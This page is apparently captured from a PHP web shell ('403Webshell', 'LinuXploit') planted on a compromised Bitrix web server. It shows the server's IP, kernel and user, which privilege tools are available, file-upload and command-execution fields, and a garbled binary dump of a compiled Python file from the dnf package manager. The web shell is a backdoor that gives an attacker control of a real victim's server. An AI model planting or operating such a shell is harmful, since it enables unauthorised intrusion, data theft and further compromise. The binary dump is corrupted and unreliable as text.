403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/dnf/cli/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/dnf/cli/__pycache__/utils.cpython-39.opt-1.pyc
a

�!c��@s�dZddlmZddlmZddlmZddlmZddlZ	ddl
Z
ddlZddlZe�
ejd�Ze
�d�Zd	d
�Zdd�Zd
d�Zdd�ZdS)z/Various utility functions, and a utility class.�)�absolute_import)�unicode_literals)�
format_number)�_N�
SC_CLK_TCK�dnfcCst|�tS)z�Convert a number of jiffies to seconds. How many jiffies are in a second
    is system-dependent, e.g. 100 jiffies = 1 second is common.

    :param jiffies: a number of jiffies
    :return: the equivalent number of seconds
    )�int�_USER_HZ)Zjiffies�r
�1/usr/lib/python3.9/site-packages/dnf/cli/utils.py�jiffies_to_secondssrcCsj|dkr0d|d|dd|dd|dfS|dkrVd|d|dd|dfSd|d|dfS)aReturn a human-readable string representation of the length of
    a time interval given in seconds.

    :param seconds: the length of the time interval in seconds
    :return: a human-readable string representation of the length of
      the time interval
    i�Qz%d day(s) %d:%02d:%02di��<z%d:%02d:%02dz	%02d:%02dr
)Zsecondsr
r
r�seconds_to_ui_time)s

��rcCs�t|�}tj�d|�r4tj�d�r4tj�d|�s8dSi}td|��|}|D]f}|ddkr`qN|dd��dd�}t|�d	kr�qNtj�	|dd
�|d<|d�
�||d�
���<qNWd�n1s�0Yd|vr�dSd
|vr�dSd}td��>}|D](}|�d�r�t|td�d��}�q(q�Wd�n1�s>0Y|du�rVdStd|��h}|�
���}|t|d�|d<td�td�td�td�td�d��|d	td��|d<Wd�n1�s�0Y|S)z!Return info dict about a process.z/proc/%d/statusz
/proc/statz
/proc/%d/statN����
z:	��z kBr�vmrss�vmsizezbtime ��
start_timeZRunningZSleepingZUninterruptibleZZombiezTraced/Stopped)�R�S�D�Z�TZUnknown�state)r�os�path�exists�open�split�lenr�utilZrtrim�strip�lower�
startswith�readrr�get)�pid�psZstatus_file�line�dataZ	boot_timeZ	stat_fileZps_statr
r
r�get_process_info<sR
��<

(
��(r.cCs�t|�}|s$td�}t�||�dStd�||df}t�d|�t�td�tt|d�d�tt|d	�d��ttt���|d
�}t�td�tj	�
|d
�|�t�td�|d
�dS)z0Output information about process holding a lock.z=Unable to find information about the locking process (PID %d)Nz$  The application with PID %d is: %s�namez%sz    Memory : %5s RSS (%5sB VSZ)rirrz    Started: %s - %s agoz    State  : %sr)r.r�loggerZcriticalrrr�timerr$Znormalize_time)r*r+�msgZagor
r
r�show_lock_ownerls"
�
�r3)�__doc__Z
__future__rrZdnf.cli.formatrZdnf.i18nrZdnf.utilrZloggingrr1�sysconf�
sysconf_namesr	Z	getLoggerr0rrr.r3r
r
r
r�<module>s

0

Youez - 2016 - github.com/yon3zu
LinuXploit